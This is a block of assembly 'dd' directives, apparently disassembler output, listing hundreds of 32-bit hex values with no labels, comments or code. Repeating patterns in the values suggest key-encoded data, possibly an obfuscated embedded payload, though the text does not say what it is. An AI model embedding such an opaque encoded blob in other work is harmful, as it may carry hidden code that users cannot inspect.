		dd 5C42B132h, 8FD5B132h, 64D19E23h, 0ADF3369Ah,	0BFBAB1A3h
		dd 565DB134h, 0AFF24373h, 5657C53Ch, 0BFABB1CEh, 56D5B13Ah
		dd 0E9CE7414h, 36F39B1Eh, 4753B132h, 0AC5DB132h, 0C02E9AD4h
		dd 0A7874442h, 309FC15Dh, 0BF58D2BDh, 5612B132h, 56785832h
		dd 1A3BB132h, 9458BFCAh, 0DF9FED18h, 56EC1CF4h,	5E2FBE32h
		dd 59D5B132h, 56EAB3BDh, 3614D132h, 56B8313Dh, 90D6B132h
		dd 87950A54h, 5957B153h, 56ABACBAh, 453DD132h, 6FEAB132h
		dd 3595B094h, 123B31DEh, 48F3E0BDh, 0B69EDDF7h,	60F214Ah
		dd 56ABD068h, 0AED5B1CBh, 0E1E5E652h, 0A3F5EFC8h, 56BAD0CDh
		dd 565C3A3Dh, 5657B132h, 57D0BE32h, 0AEABB132h,	562CB132h
		dd 59B8D132h, 5675B1BCh, 0D1B5EF32h, 565DB122h,	56AEBBDAh
		dd 642A9132h, 0F69CCA98h, 0E940123h, 36EAB153h,	25C04AB9h
		dd 59BAB153h, 565DA6B5h, 56BC5832h, 0B9E8B132h,	0E2E943Dh
		dd 54D15681h, 26214D0Ch, 0C9569922h, 5646B132h,	565D4D32h
		dd 850F0E52h, 504A9FEh,	56CAEE6Ah, 0D7B3D132h, 0BE6352F8h
		dd 5675B13Bh, 286433DCh, 3F645A2Ah, 8019BE5Bh, 5BBED06Ch
		dd 0ABABB132h, 0F515DC3Eh, 0C17C6017h, 3CFDC5Ch, 0D6DAB132h
		dd 0AE3C9FE1h, 5E47B132h, 6057B132h, 63372C2Ch,	56574418h
		dd 56EA4D32h, 56665952h, 8EAFB132h, 6A3BD220h, 71BFB0ABh
		dd 59E9177Eh, 4B8CA948h, 9054D768h, 0EFB2667Ch,	6CAEB4BAh
		dd 0AABAB153h, 565DBEDBh, 0CBE3E632h, 0C88E393Bh, 0B47C4A1Eh
		dd 0F537D9BAh, 0BF8AB132h, 5675B126h, 1F6D79C4h, 7E3C7A29h
		dd 1832B128h, 28C92A2Ah, 0F3D584EAh, 0D9DAD0C7h, 56EAB133h
		dd 0BF75B1CBh, 56BAB13Eh, 0ABCF3445h, 5424BE7Ch, 601B26A6h
		dd 0D1A4B132h, 56D5B13Eh, 56EAB6DBh, 3139A732h,	6A47B954h
		dd 58B4B132h, 0BFAEB132h, 224FD0E9h, 0AE31B253h, 876ACE6Eh
		dd 0AEEAB11Ah, 5689B132h, 56BA4D32h, 565358CBh,	7971B132h
		dd 33A173ABh, 0D0676C6Dh, 7E399A10h, 4203B132h,	0C75B132h
		dd 33DF0566h, 796E1FFEh, 0BA37005Fh, 0F623F844h, 560F6706h
		dd 0DDB3D132h, 56EAD0FDh, 98C2BE52h, 36DB45B8h,	565E3A3Dh
		dd 9E2EB132h, 50D5BEE1h, 59ABB132h, 56D5B1B7h, 56EAD032h
		dd 3675B1CEh, 59793A54h, 565DB1B1h, 56AED032h, 3657B1C7h
		dd 0DD7A3054h, 56D5D04Ch, 59EAB1CBh, 5675B6B7h,	5738BE32h
		dd 0A35DB132h, 0A3AEB1CEh, 56AEB132h, 3057D132h, 25CE6BB3h
		dd 0BFEAB153h, 5675B134h, 0A779F15Dh, 565DBA4Ah, 56AE48CEh
		dd 5957B1CAh, 56ABB0B5h, 56D54D32h, 36EAB1CEh, 56783E3Dh
		dd 5E53B132h, 915DB132h, 1B55A3B2h, 307EBD4Bh, 37F44488h
		dd 59D5B1C7h, 56EABBBFh, 3715D132h, 56BA303Dh, 563CB132h
		dd 56A35832h, 3FFDB132h, 0B3FCA396h, 1D39EDE5h,	56310B01h
		dd 5EFEBE32h, 59BAB132h, 565DB3B8h, 56CFD132h, 57D3BE32h
		dd 0AEABB132h, 8754D752h, 0DDE5EC3Ch, 5675B131h, 377D0E3Dh
		dd 56A4B132h, 4A27BE32h, 3657B132h, 4542D052h, 5D5B132h
		dd 9C8DC1EAh, 4B42DFB3h, 50ED1C18h, 0A9DD3B37h,	59CFABB2h
		dd 5657ABB4h, 5142D132h, 0EBD5B132h, 570D97A7h,	509D3B65h
		dd 73BAB132h, 7D7EE575h, 56CFEE9Dh, 56AE4432h, 4526BE32h
		dd 36D5B132h, 7EDF0854h, 5675B9DBh, 57D61532h, 73B7065Ch
		dd 56AED040h, 565F333Dh, 0DFA4B132h, 56D5B130h,	56EAD052h
		dd 5675BEDBh, 11D70C32h, 0A9DCAC9Eh, 393C1EE9h,	469DC579h
		dd 36CBB132h, 0DD6952B2h, 3716D0C5h, 9FA43052h,	59FE7C9Fh
		dd 565DB0B4h, 56CF4D32h, 56595832h, 132DB132h, 68800CA0h
		dd 21EACADFh, 911B20C6h, 0BEDAB132h, 565DB139h,	0D0B0608Fh
		dd 73F1142Eh, 0A3B04614h, 593CD069h, 3FEAB132h,	89B19EE6h
		dd 248C5E82h, 0C63B8ECEh, 56AE9EC3h, 9F953052h,	30FE222Ch
		dd 56B47EB9h, 56EA4932h, 56645852h, 5B6DB132h, 0A2AEC136h
		dd 7DCC78DFh, 75B7709Eh, 0BFE61D65h, 56D5B13Eh,	0EC4B03CEh
		dd 0CA9505A3h, 4525FD1Ch, 0AE5DB153h, 0DDA1B132h, 5657B123h
		dd 56A0343Dh, 503CB132h, 9BEAB132h, 0EA7B005Ah,	59BAB162h
		dd 565DB6B4h, 5721BE32h, 0AE57B132h, 5142B132h,	1FD5B132h
		dd 0B37401FAh, 5675EE4Ah, 36BAB1CEh, 30973A54h,	4DAD60B3h
		dd 5957B153h, 56ABA4B5h, 56C55832h, 56A1B132h, 3D241395h
		dd 0A9CC8BE0h, 0B9BBB7D4h, 56AEA0BEh, 3657B1CEh, 0A820EA60h
		dd 59D5B153h, 56EAB6BBh, 0DD13D132h, 37D107F4h,	595DB1CBh
		dd 56AEA1B1h, 5CD2BE32h
		dd 0BFABB132h, 56D5B137h, 8EF9AC04h, 3675B102h,	8E124C8Ch
		dd 0A5D6D70Eh, 36AEB153h, 0BF900E3Dh, 56ABB137h, 0ED8EDB88h
		dd 56EAD0FDh, 5674333Dh, 3643B132h, 36830E3Dh, 0D66F0489h
		dd 56D1BE27h, 37ABB132h, 0BFD5B153h, 56EAB139h,	2F704ED9h
		dd 0E5CAF5A6h, 564E522Dh, 56AE4832h, 87DCD752h,	56ABBEDBh
		dd 6D57FC32h, 93EFD2B5h, 0C7FB1F73h, 0FCAEE812h, 595DB153h
		dd 56AEB0B0h, 59374932h, 56ABB4B0h, 0B754D732h,	1F5389DFh
		dd 3710F4FEh, 0D2B5B132h, 565DB13Eh, 9715D752h,	689130B7h
		dd 37A2532Ch, 0DB023152h, 56E8353Dh, 922B132h, 0BFBAB153h
		dd 565DB139h, 2D7B70C9h, 0D0E36E5Ah, 5667A468h,	5758BE32h
		dd 0A3EAB132h, 0D37AB132h, 56BAB13Eh, 565B373Dh, 0D5A1B132h
		dd 5657B132h, 3657B132h, 56C23F3Dh, 4702B132h, 3F75B132h
		dd 3A81C094h, 129C997Ch, 0D08E097Dh, 98A290Ch, 0C44A3069h
		dd 37B55244h, 4703B132h, 9175B132h, 0A6A5BB21h,	1EB0BC04h
		dd 0A6509917h, 0E9F8CF6Dh, 0D6A4B132h, 56D5B13Eh, 56EC393Dh
		dd 0DA7AB132h, 56BAB132h, 56A1B132h, 56AE4432h,	564D3F3Dh
		dd 59CBB132h, 56D5B1B9h, 56E75832h, 0BBDDB132h,	33D2C007h
		dd 0BD057CA3h, 379802CBh, 0D637B132h, 0DDCDB6FCh, 56D5D0E5h
		dd 56EF353Dh, 5915B132h, 36DB728Dh, 0DD7678B2h,	56AED0CAh
		dd 55D6BE52h, 30ABB132h, 5E3D79B9h, 17EAB132h, 74023F2Eh
		dd 0C5E9800h, 0BF5DB153h, 56AEB13Eh, 0C45428ECh, 6D80B29h
		dd 1F58720Eh, 0D5E5B132h, 5675B133h, 0A3BAB1CBh, 0BFA8B132h
		dd 56AEB126h, 4D47A81Dh, 7BA7212h, 0F8F5A10Ah, 0AADA090Dh
		dd 921E4247h, 0D4B5B132h, 565DB133h, 56BA58CBh,	0E86AB132h
		dd 0F4113966h, 6D7332D4h, 2D918F09h, 0FD2B26B4h, 56BA885Ch
		dd 56453F3Dh, 0BECEB132h, 5657B122h, 5EF7E2A0h,	8657D1B1h
		dd 85392916h, 1F623FCEh, 56BAD069h, 5651313Dh, 0DFA1B132h
		dd 5657B134h, 56AB363Dh, 36B5B132h, 56EAA1DAh, 0D5DAC332h
		dd 7C6C738Bh, 3CC35E9Ah, 75AD49B5h, 0D731EAFAh,	37BD5BF9h
		dd 56B473B9h, 5B02D132h, 6875B132h, 0C095C7D8h,	6D065BE7h
		dd 0EB252FACh, 5657BFDAh, 7B472F32h, 0F5515D75h, 0F4D10E7Bh
		dd 9E4D62Fh, 0E305D768h, 565DD0D1h, 5E46D1CBh, 0F757B132h
		dd 674C67BBh, 599CED10h, 30B4608Dh, 56147AB9h, 56BF5832h
		dd 0AC35B132h, 56DAD8A8h, 5ED6BE32h, 59ABB132h,	56D5B3B5h
		dd 568BD132h, 57F7BE32h, 0AFBAB132h, 303DB132h,	0DD22AE8Ch
		dd 5657D0E5h, 56B9383Dh, 5B3CB132h, 0D0EAB132h,	0E699C244h
		dd 5D847A20h, 0BAA57B7Eh, 565BB132h, 56574832h,	5E2CBECAh
		dd 59D5B132h, 56EAB3BDh, 5614D132h, 5E3DBE32h, 595DB132h
		dd 56AEB3B5h, 5636D132h, 8E2AD132h, 0C24973Bh, 0BE6BD763h
		dd 372FA2E4h, 0D9B5B132h, 565DB133h, 36AEB1CAh,	5657BBDBh
		dd 0F5B16C32h, 0FFDF5C35h, 0E63BE2CFh, 5675D0DBh, 0A3E84452h
		dd 565DD068h, 3B613052h, 0E143F322h, 56ABD049h,	56C23C3Dh
		dd 0DCE5B132h, 5675B123h, 56BABDDBh, 0DD6FB532h, 55337E83h
		dd 0AB116744h, 59ABB128h, 56D5B2BDh, 3713D132h,	5E9CB132h
		dd 0D2BAB132h, 0A3C2AF5Ah, 569DFCD7h, 57D4BE32h, 0AAABB132h
		dd 0D0DAB132h, 56EAB135h, 0D68C3B52h, 36DB52E7h, 0EE3B72B9h
		dd 56CFA3D3h, 8FD7D132h, 9C3208DDh, 56B4FCB8h, 56E45832h
		dd 5A98B132h, 0F09AA9CFh, 5EEB6538h, 4E9CFA1Fh,	56A2B132h
		dd 5B42D132h, 0A9D5B132h, 69F8CDEAh, 792F910Eh,	0F2B6CF58h
		dd 565E393Dh, 0DDC8B132h, 0D458D0CCh, 56ABB13Ah, 4A243052h
		dd 37E62619h, 5915B132h, 56BAB2BDh, 40953132h, 5A5D3054h
		dd 5657D0D8h, 56ABBADBh, 0B9131A32h, 0F8C3DDDEh, 1F1136D4h
		dd 0D6B5B132h, 565DB135h, 59F1E152h, 56364E85h,	56AB4932h
		dd 56D5B6DBh, 149E5232h, 0E959F387h, 5353B132h,	0FB5DB132h
		dd 9A20B287h, 56AFB132h, 56AC5832h, 0F1F2B132h,	6E99B391h
		dd 3675B160h, 563DBE64h, 0C5DB132h, 0BFAEB153h,	5657B135h
		dd 648716B8h, 56AF5AF1h, 0E9E5D132h, 0D713D1ECh, 308B31E5h
		dd 5AE158B3h, 56AED053h, 5657B8DBh, 0DDDC0C32h,	0FE334876h
		dd 56EA0C49h, 3675B1CEh, 56BAB9DBh, 0CC049F32h,	87F2FBA4h
		dd 56364D3Dh, 0DCA4D132h, 56D5B132h, 39353054h,	5675D030h
		dd 0F7CD0E52h, 5CB4A048h, 15AEB132h, 0F7D77D65h, 4BBC838Ah
		dd 56D5D078h, 56EABBDBh, 1D417232h, 29555C9h, 5640F2B9h
		dd 56BD5832h, 23CDB132h, 0B948AA93h, 0E9F2FB91h, 11F3BDFBh
		dd 5E59B46Ah, 0AFBAB141h, 0D752B132h, 56AEB121h, 5657BFDBh
		dd 201A9132h, 72EB4B76h, 85471F0Ch, 5654B224h, 5C33BE32h
		dd 365DB132h, 0BF403054h, 85DCD798h, 59ABB153h,	56D5B0B3h
		dd 56124432h, 0D47AD132h, 56BAB134h, 565D3E3Dh,	0E217B132h
		dd 3725D883h, 5142B132h, 0C9D5B132h, 1317E27Bh,	5675D3F5h
		dd 56BAB8DBh, 0E02F9132h, 9FF3C49Ch, 5657E5C0h,	56BD353Dh
		dd 0BFB5B132h, 56EAB13Dh, 954BE286h, 563B9525h,	1EE9080Fh
		dd 377572D0h, 56A2B132h, 5829BE32h, 0BFD5B132h,	56EAB13Bh
		dd 0C0BEFBDDh, 0A3F0A82Bh, 595DB190h, 56AEA9B6h, 56445832h
		dd 0CD87B132h, 134AFC0h, 9EE4F4D8h, 0A28B76Dh, 462EA4E0h
		dd 0AA5DB17Eh, 5652B132h, 56455832h, 57D9B132h,	425AF006h
		dd 0BCD6902h, 0E63BB501h, 0A99633D6h, 51B4B132h, 9CAEB132h
		dd 23F104BCh, 56AB7CD7h, 4659BE52h, 0BFEAB132h,	5675B139h
		dd 72AB1DA9h, 5CA569F9h, 37B36CC4h, 0D558B132h,	56ABB138h
		dd 0C4070B52h, 0E1E5ABFDh, 5675D0FBh, 0BFBAB1C7h, 565DB13Bh
		dd 69E9F7E2h, 41D5E029h, 0BFABB15Fh, 56D5B13Dh,	770B313Eh
		dd 16A7784Fh, 5261F73Eh, 59154984h, 56AEA8B7h, 56435832h
		dd 7A6CB132h, 1B266660h, 0FBB195D3h, 0DB4B440Ch, 0D30AA424h
		dd 565D9D57h, 56AF303Dh, 0AEA2B132h, 0A357B132h, 593CB132h
		dd 6AEAB132h, 0DA6BA61Fh, 49FB15A4h, 25E82C93h,	56AE14E7h
		dd 56445852h, 0EB62B132h, 0B52F3228h, 0A774550Eh, 0A3B09FFh
		dd 0A5D3E247h, 50DBBEADh, 59AEB132h, 5657B1B4h,	56ABD032h
		dd 56DD3E3Dh, 0DCE5B132h, 5675B130h, 5642D052h,	564D5832h
		dd 3DB1B132h, 6218C142h, 956EFED5h, 0AA96AD96h,	56EAA8ACh
		dd 0BE360952h, 5352D273h, 0C45DB132h, 7CF83D8h,	3636EEC7h
		dd 20D53188h, 8154D708h, 568B07A2h, 56754D32h, 36BAB1C7h
		dd 0B6DC70B9h, 2F592D86h, 0BF57B153h, 56ABB121h, 7B06E302h
		dd 0FB99BC06h, 0AB728234h, 0C543BA23h, 599C2E38h, 56AEB0B1h
		dd 56574932h, 5C26BECEh, 0BFD5B132h, 56EAB137h,	5BD8A9D2h
		dd 0AEBAB1E0h, 0D652B132h, 56AEB135h, 56563C3Dh, 5653B132h
		dd 5155BE32h, 59EAB132h, 5675B0B8h, 56BA4832h, 56503C3Dh
		dd 5E47B132h, 0C257B132h, 0CBBEC464h, 56DFCEB3h, 0B76AD132h
		dd 5675D013h, 97304452h, 90D6D153h, 3761063Dh, 56AEB132h
		dd 0E9A4D132h, 56C558F8h, 7998B132h, 8D52C7E0h,	0CD69B105h
		dd 0AC2750F9h, 56CF3EA6h, 565B5832h, 580B132h, 0F5FD21F5h
		dd 370F207Fh, 0D47A36B0h, 56BAB12Ah, 565DA2DBh,	4E25CA32h
		dd 5B53395Ch, 85059DF1h, 0B99CC25Bh, 0E680F0DBh, 0BF15B132h
		dd 56BAB126h, 0DAC6078Bh, 0FE9D102Fh, 0BD6CC76Ch, 0CF79C900h
		dd 0CB79767Dh, 0E060A54h, 567D5853h, 3B11B132h,	0E9097287h
		dd 56AE6EAEh, 5649373Dh
		dd 0D3A4B132h, 56D5B12Ah, 56EAA2DBh, 0A41E8032h, 695C277Ch
		dd 1CC8B892h, 0D6FCE6ABh, 0C4DEF4C5h, 5B42B132h, 55D5B132h
		dd 8D6F9721h, 5B0EE6Fh,	40E0F00Bh, 0BEA53A52h, 56AEB138h
		dd 0EB57B0F4h, 6CE61379h, 9454A0F5h, 6B027CEBh,	5675D06Ah
		dd 56B43E3Dh, 5FB4B132h, 8AAEB132h, 399D6C57h, 92C474C1h
		dd 5629B132h, 56EA4D32h, 5675B4DBh, 0F4F0E532h,	56A87BE4h
		dd 56BF5832h, 0E8C5B132h, 95D01771h, 209D39F0h,	419BFBCFh
		dd 56F9F160h, 0E1B5D132h, 565DD0F5h, 56AE44C7h,	5657A3DBh
		dd 0D2641332h, 7F8597D6h, 7F9EF198h, 9FB6A9D4h,	56774DDAh
		dd 50B4D132h, 65AEB132h, 59936ECAh, 0A94F0892h,	56B488AFh
		dd 0E1E5D132h, 375301F9h, 5943B132h, 565DA8BCh,	56BA5832h
		dd 4C5EB132h, 81DC9805h, 487A664Ch, 936632A6h, 6D49D910h
		dd 56BA49BBh, 565DA5DBh, 989A2932h, 0CCD7CEE5h,	6BB13E15h
		dd 63E124E9h, 0BC7E300h, 5975B183h, 56BAB9BFh, 0D452D132h
		dd 56AEB132h, 3657B153h, 1E7E66B3h, 0EDB3ECF9h,	568B239Eh
		dd 58F7BE32h, 0BFBAB132h, 565DB13Bh, 0ED1DFDB0h, 3142C695h
		dd 0BE21D12Bh, 56B4B587h, 0FBCD132h, 0AA656BB3h, 0BFDBC629h
		dd 565DB135h, 53C5035Ch, 56F8512Fh, 5E24BE32h, 59D5B132h
		dd 56EAB3B5h, 5614D132h, 56BA4432h, 5640363Dh, 0D6A1B132h
		dd 5657B125h, 56ABA3DBh, 77A7BC32h, 0A43C6B1Ah,	0BC269139h
		dd 4D13017Bh, 565EBD59h, 56BE5832h, 157EB132h, 0FC7F3F49h
		dd 8E5D037Fh, 0EE34C53Dh, 5675F6FBh, 59BAB1CBh,	565DBCB4h
		dd 56A65832h, 0C4E9B132h, 6781D83Ah, 562D815Dh,	5762BE32h
		dd 0A375B132h, 59BAB1CEh, 565DA0B2h, 3B1AD132h,	5657B6DAh
		dd 0C0F28332h, 43C24B7Dh, 56EAD06Ah, 4FFFBE52h,	0BFBAB132h
		dd 565DB126h, 88F40899h, 5C121F34h, 51DB8983h, 7FD3C2E2h
		dd 0BCE51F42h, 567D5853h, 0C213B132h, 7C86EDC6h, 56AE1E09h
		dd 91DDD1CEh, 0B82AD761h, 378A415Fh, 0D78AB132h, 4CA865F2h
		dd 56AE5825h, 0FDECB132h, 933C8C29h, 681F9DAh, 0B935EBCBh
		dd 7FE92786h, 0A38B5F2Ch, 568CB132h, 0D7DCD132h, 593D8FC1h
		dd 56AEB3B5h, 3736D132h, 30CBB132h, 0D39463B3h,	55995FB3h
		dd 5614A59Ch, 56B55832h, 10FFB132h, 16E663B3h, 0D24EFAD0h
		dd 146F85CCh, 36D5B157h, 0DB930E54h, 5675BDDBh,	965A9932h
		dd 769A0EEh, 0DF5B2A37h, 0BF37D0D0h, 56ABB13Fh,	0BC210B30h
		dd 8CCCCF76h, 0F47C356h, 5439BEA4h, 365DB132h, 56AED053h
		dd 0EE314952h, 56CA83A1h, 56C65832h, 2180B132h,	1B883A6Ch
		dd 473DF889h, 5174167Fh, 0F7AC0871h, 56574D98h,	0BFABB1CAh
		dd 56D5B13Fh, 0CEA597Fh, 6E63573Dh, 5B4B6F2Dh, 595DB1DCh
		dd 56AEA7B0h, 56465832h, 8E2AB132h, 72B185ECh, 0B26A58CEh
		dd 0C0D577A0h, 562A8862h, 564F5832h, 8B1EB132h,	68604895h
		dd 427BEDh, 0A0779B02h,	88A58B37h, 5975B1CBh, 56BAB9B5h
		dd 54D8BE32h, 36AEB132h, 3657B153h, 8E2AD752h, 593CD804h
		dd 1EAB132h, 0A7FB7FFFh, 0B57A1C6Fh, 0FF3C2B70h, 37CFB7A8h
		dd 56AEB132h, 56AB4432h, 56DA5852h, 0E339B132h,	0B420F87Bh
		dd 86C1ACBCh, 660CE875h, 0D6A1D06Dh, 5657B13Eh,	2312D752h
		dd 5657BEB4h, 37EAB132h, 0BE15B132h, 56BAB122h,	0C581CB69h
		dd 3207322Dh, 2B8E8849h, 8FD29143h, 0BF8CE965h,	56EAB134h
		dd 34436E28h, 56DB14D0h, 4FD7BE32h, 59AEB132h, 5657A2B7h
		dd 56A55832h, 0BE6CB132h, 7EC992FEh, 0E26B7E6Eh, 3AC1F8C5h
		dd 565C3E3Dh, 5652B132h, 5FDBBE32h, 36ABB132h, 306D7FB2h
		dd 3735138Bh, 5675A5DBh, 5124F332h, 6FA21E0Ch, 145A6367h
		dd 90DC107h, 6451618Ah,	59D5B163h, 56EAB9BBh, 54F7BE32h
		dd 36BAB132h, 365DB153h, 0C8130F54h, 90D0C98Ch,	56ABD05Bh
		dd 5351BE52h, 0EEEAB132h, 50694280h, 377B0E3Dh,	565DA2DBh
		dd 0FF264832h, 142B99F1h, 0E14426DFh, 0DFCE207h, 483583C2h
		dd 5A9CB132h, 0FABAB132h, 0DAC9CFh, 3802664h, 0AA85A353h
		dd 0E2CBB132h, 3029D145h, 3739A488h, 0BF75B153h, 56BAB123h
		dd 3C72EB12h, 0C10ABD4Ch, 32B71D6Eh, 0FBB53732h, 59D5B1F1h
		dd 56EAA5BFh, 567A5832h, 0C06FB132h, 8E265481h,	0B64A6FBAh
		dd 0DC5E3EDEh, 36ABB1CEh, 0BD540A54h, 56EF373Dh, 0D713B132h
		dd 37F93EF2h, 0D452B132h, 56AEB133h, 0BF57B1CBh, 56ABB123h
		dd 854ABD35h, 8692113Ah, 404ADD08h, 780326E5h, 0BF5DB1F5h
		dd 56AEB139h, 0A809114Ch, 0F085675Ch, 56FEF08Ah, 56FB5832h
		dd 5F03B132h, 132AEBA1h, 7328570Eh, 454BAAC1h, 5630FA12h
		dd 932BD132h, 56D5D01Bh, 56EABADBh, 0D4547D32h,	4FA5D8F5h
		dd 0E8D23AD2h, 5656B132h, 5ADCBE32h, 59ABB132h,	56D5B7B8h
		dd 566ABE32h, 5675B132h, 56B65832h, 1BDFB132h, 0B79EC228h
		dd 19D4F483h, 56AB88B3h, 9854D752h, 0D8E55166h,	5675B134h
		dd 56BA353Dh, 563CB132h, 0E9C8D132h, 0D358BCB3h, 56ABB126h
		dd 56D5BEDBh, 21F3AD32h, 31DAA775h, 860549A1h, 0F1370FE9h
		dd 0A3AEB153h, 53BEB132h, 0FBABB132h, 4096DF67h, 56EAA0DBh
		dd 83856532h, 160420D6h, 0D606A80Ah, 98DFB254h,	56572AB8h
		dd 56A8333Dh, 0A3B5B132h, 0A3EAB153h, 3689B132h, 56BD5852h
		dd 9538B132h, 97D4EF36h, 46BED194h, 39ABB132h, 0BC61E238h
		dd 22C6A0B6h, 70DE67D7h, 0DD17981Fh, 0AA3CD0E2h, 56AEB1DAh
		dd 0BCD6EB32h, 50B02310h, 5750BE52h, 0AEEAB132h, 37BD3A54h
		dd 599C0352h, 0DB3C6E8Dh, 4C34CDB7h, 0D4DE4834h, 50B0CBB1h
		dd 8F5ED752h, 56E83A3Dh, 91FEB132h, 2B383C53h, 595BAD79h
		dd 56AEB0B0h, 0DFAF4932h, 4DD125B0h, 5754BE34h,	0AFEAB132h
		dd 5641C9DAh, 5A32BE32h, 0BF5DB132h, 56AEB135h,	0A8D3A879h
		dd 0BEE97506h, 56D5B0CDh, 0A86876CBh, 5673AA4Bh, 59BAB132h
		dd 565DB0B4h, 0AEFC4832h, 5F9234F4h, 0BFFDB727h, 56D5B120h
		dd 5D3EA4A0h, 923F9FC0h, 0FE8F3BBAh, 7857F1D2h,	0D2A1C060h
		dd 5657B133h, 0EEF9D9CEh, 59B52D9Ah, 0A98B7F8Dh, 435DA087h
		dd 0D3374934h, 5045C38Eh, 56AEB4DBh, 734A5932h,	8654C5D9h
		dd 56D5BCDBh, 1FBAB732h, 0EEFC4AECh, 885ECDF8h,	0D3D4595Ah
		dd 50BBA42Bh, 5657B6DBh, 0DC54C32h, 46F7AC8Dh, 56F3303Dh
		dd 429CB132h, 28BAB132h, 398A8FCDh, 7D5C34h, 55D7EFD8h
		dd 4E4559h, 3CB4A9D6h, 56824436h, 3675B122h, 0DC9458B2h
		dd 1635D0D8h, 0AEAEB23Fh, 0D058B158h, 56ABB133h, 59054ECAh
		dd 56EAB7B7h, 0EC13D132h, 0CDB8310h, 565C343Dh,	5D52B132h
		dd 0BFD3BEF2h, 0AEABB132h, 0A85738CAh, 0BFECAA4Bh, 5675B13Ch
		dd 29E0A1E0h, 52EB991Fh, 5F5BAA11h, 0D4DE6BA2h,	50B0CB1Dh
		dd 5B9508CAh, 0DD16B131h, 964648CAh, 361042C7h,	6C750A54h
		dd 56AEA1DBh, 0A276B732h, 8ACA0659h, 155CC5D2h,	1C27AAA9h
		dd 0D47AD013h, 56BAB13Eh, 98E3D752h, 5625BEF9h,	3757B132h
		dd 52C14960h, 56D5A3DBh, 74756432h, 0EB86F6B8h,	0C9E31C3Eh
		dd 0EB692C34h, 3EBF4EA5h, 5657A132h, 52ABD9CBh,	5E3CB132h
		dd 84EAB132h, 854D6BB0h, 3CE9D8C1h, 40DFBE32h, 0BFAEB132h
		dd 5657B123h, 0D90A1049h, 91BFEF46h, 0C56BD8F3h, 0CCB7AA0h
		dd 4F284EEFh, 0BF5BA427h, 56AEB13Eh, 0E24A407Ch, 9D7BFEFEh
		dd 7E0361B6h, 56FB5868h, 0F6ABB132h, 835DDB4Ch,	63208433h
		dd 0AFC316B3h, 0DF63FD2Fh
		dd 4DD705B0h, 575FBE34h, 0AAEAB132h, 0D25D153h,	0EFBE7EB3h
		dd 0DD3CC009h, 4DD74FB7h, 59AFD134h, 95CA7185h,	56DB5852h
		dd 23B132h, 675CC862h, 0BA8D569Eh, 6FD558A6h, 56AEB8DBh
		dd 0FAB9A732h, 1FF967C8h, 36B401FAh, 9F6876C7h,	5673A431h
		dd 0BFBAF132h, 565DB13Eh, 47EFEFFFh, 0C858B3D5h, 54A70D38h
		dd 0DE163052h, 36867E69h, 7A00B54h, 37DB66B9h, 54D033F5h
		dd 46AEB727h, 3637B132h, 7D236FB3h, 0BE54ACA1h,	4FC74F59h
		dd 54F2BE53h, 0DDBAB132h, 363CD0C0h, 0C3B60954h, 5657A1DAh
		dd 18DC6B32h, 13384933h, 0C246C1C5h, 0BB6BF71Bh, 10753069h
		dd 95A6B90h, 0BF527253h, 5657B138h, 11271430h, 797BE167h
		dd 598A4E4Ch, 5675B9B5h, 543CBE32h, 365DB132h, 56BD5853h
		dd 0B132B132h, 97C9BE24h, 9CF2DECCh, 572F7473h,	0B8D38DB7h
		dd 0A8003A0Eh, 365BAA4Bh, 56AEBEDBh, 4CB17A32h,	7389816Ch
		dd 9C76DE08h, 0EB5293C7h, 2195F68Bh, 6939D07Fh,	80D9BE32h
		dd 59AEB132h, 5657ACB5h, 0D8A4D132h, 56D5B132h,	56EAA1DBh
		dd 0FA49DA32h, 88C999F2h, 0F32213CFh, 0C44C8095h, 29D4D076h
		dd 0D2A4B322h, 56D5B163h, 469532CEh, 37F1BE36h,	59BAB132h
		dd 565DAFBEh, 4E25BE32h, 0BF57B132h, 56ABB121h,	0DC0814EFh
		dd 0EA48D97Ah, 2356AFD6h, 0FD7A9482h, 0D5B971AAh, 4247A5F5h
		dd 0A057B132h, 85FDBB6Ah, 6D8CB023h, 466DA386h,	536308Bh
		dd 0BF6BF22Dh, 0A9A24E48h, 46E976C7h, 5657B133h, 56ABB8DBh
		dd 0BEBD6F32h, 500212A7h, 929C7932h, 0AA454ECDh, 554DF6F5h
		dd 36AEB132h, 9A2852B3h, 0D0A4F26Bh, 56D5B134h,	0B23163B3h
		dd 0BF14B857h, 0A9454E91h, 44B54952h, 3DAEB132h, 46A0D4ECh
		dd 58EA143Bh, 6842D7BEh, 7655390Dh, 0E943B75h, 0E0DAD053h
		dd 51B5E60Eh, 15AEB132h, 195C1E38h, 0CF5412Bh, 0DCB57253h
		dd 36BFD0DDh, 0D57A4AB9h, 56BAB137h, 83933054h,	0BA25D0E4h
		dd 0AE374DC7h, 0F312D752h, 0AD6ABE62h, 56EA5953h, 0D72FB132h
		dd 4D2CC2D8h, 0EE3BD134h, 0EEC89062h, 593682CEh, 56ABB0B7h
		dd 5B3C4432h, 0C9EAB132h, 1162BDADh, 0E1B261C4h, 9FA5DCE6h
		dd 2A1403B9h, 0DDABB729h, 36CBB977h, 2EC40954h,	0E68BD052h
		dd 50FCD0D7h, 56B23D3Dh, 0D952B132h, 56AEB130h,	0D4D4D052h
		dd 50B0CD88h, 56D35836h, 16D2B132h, 0F433F4C0h,	0BF734453h
		dd 565DB122h, 0B82A387Dh, 2491F540h, 3345B0DEh,	63444CB5h
		dd 56EE73CBh, 0BE15D1C7h, 56BAB13Fh, 0DBC3F992h, 73A68FC4h
		dd 76A19DAh, 8C2AEA5Eh,	45BB8518h, 56EA5953h, 0D72FB132h
		dd 4D2DA2D8h, 0D852D134h, 56AEB131h, 30810E3Dh,	59CA67B9h
		dd 56D5B0B1h, 0E4614D32h, 506ECD86h, 0EC088AC7h, 595BAA4Eh
		dd 56AFD4B6h, 56455832h, 0B2CEB132h, 9071ACD3h,	8B21F6E0h
		dd 978CC832h, 7C67B419h, 46B48FB9h, 8DAEB132h, 0E33B09B9h
		dd 414C7D7Eh, 661704Ah,	0DD276E05h, 57F7BEEDh, 0AFBAB132h
		dd 5712073Dh, 57E947CAh, 7FD2BEB2h, 0BFABB132h,	56D5B139h
		dd 6BEE8997h, 70BB2427h, 552F3FD8h, 57D9BEEBh, 0A3AEB132h
		dd 5653393Dh, 0DDCBB132h, 5F3CD0EBh, 0AEEAB132h, 0DC156819h
		dd 37653ADCh, 361E4871h, 56AEA0DBh, 186EC732h, 94EAA0A1h
		dd 0CF728CBCh, 371FB2F8h, 5C9CA580h, 74BAB132h,	0BC59BEDAh
		dd 6D571286h, 0D3DCD026h, 50BEB673h, 56D2333Dh,	68AB132h
		dd 0A5FED76Ah, 67373A53h, 365BA414h, 7613A54h, 295C7EB3h
